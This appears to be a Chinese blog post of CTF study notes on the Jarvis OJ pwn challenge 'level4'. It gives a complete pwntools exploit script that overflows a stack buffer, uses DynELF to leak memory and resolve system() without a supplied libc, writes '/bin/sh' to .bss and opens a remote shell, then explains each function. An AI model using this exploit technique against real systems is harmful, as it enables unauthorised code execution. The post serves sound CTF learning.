• Jarvis Oj Pwn 学习笔记level4


    没有libc?!DynELF了解一下

    来,链接:

    https://files.cnblogs.com/files/Magpie/level4.rar

    nc pwn2.jarvisoj.com 9880

    我抽着差不多的烟,又check差不多的sec:

     扔进IDA:

    和level3差不多,只是这道题没有提供libc

    这道题其实主要就是学一下pwntools的一个工具,没有什么原理上的新东西

    所以我们直接给出exp,然后讲一下exp就好了:

     1 from pwn import *
     2 context(arch = 'i386', os = 'linux')
     3 r = remote('pwn2.jarvisoj.com', 9880)
     4 e=ELF('./level4')
     5 junk='A'*(0x88+0x04)
     6 read_plt=e.symbols['read']
     7 write_plt=e.symbols['write']
     8 data_bss_addr=e.symbols['__bss_start']
     9 func_reload_addr=e.symbols['vulnerable_function']
    10 def leak(address):
    11     payload1=junk+p32(write_plt)+p32(func_reload_addr)+p32(0x01)+p32(address)+p32(0x04)
    12     r.sendline(payload1)
    13     leak_addr=r.recv(4)
    14     return leak_addr
    15 d=DynELF(leak,elf=e)
    16 system_addr=d.lookup('system','libc')
    17 payload2=junk+p32(read_plt)+p32(func_reload_addr)+p32(0x00)+p32(data_bss_addr)+p32(0x08)
    18 r.sendline(payload2)
    19 r.send('/bin/sh\x00')
    20 payload3=junk+p32(system_addr)+p32(func_reload_addr)+p32(data_bss_addr)
    21 r.send(payload3)
    22 r.interactive()

    1.ELF函数:创建并返回一个elf文件的内存映射对象

    2.symbols函数:可以看作elf对象的一个方法,按关键字搜索地址

    3.DynELF函数:核心函数,第一个参数是一个函数指针,指向一个规范内存泄露函数leak;第二个参数(可选)是一个elf对象,有了它可以使效率更高

    DynELF函数具析:

    通过配合调用leak分析其泄露值以及分析传入的elf对象,可以从进程中自动地resolve出所有的函数、数据地址,存储在一个vector向量数组中并返回这个向量数组

    4.lookup函数:可看作向量数组对象的一个方法,按传入的索引项,搜索相应项值,得到服务器端的真实system地址

    #payload2:劫持到read函数,将命令字符串'/bin/sh'写到bss段以作参数调用的地址

    通过这段exp就可以拿到shell了,遗留一个问题:lookup找不到/bin/sh的地址,不知具体是个什么原因。可能上面的说法有一个错误:DynELF函数可能并无法泄露数据的地址。

    留待日后填......

  • 相关阅读:
    loj#2333 「JOI 2017 Final」准高速电车
    loj#2332 「JOI 2017 Final」焚风现象
    loj#501 「LibreOJ β Round」ZQC 的树列
    loj#500 「LibreOJ β Round」ZQC 的拼图
    p2827 蚯蚓
    p5471 [NOI2019]弹跳
    p5304 [GXOI/GZOI2019]旅行者
    p2503 [HAOI2006]均分数据
    p4899 [IOI2018] werewolf 狼人
    loj#137 最小瓶颈路 加强版
  • 原文地址:https://www.cnblogs.com/Magpie/p/9118366.html
Copyright © 2020-2023  润新知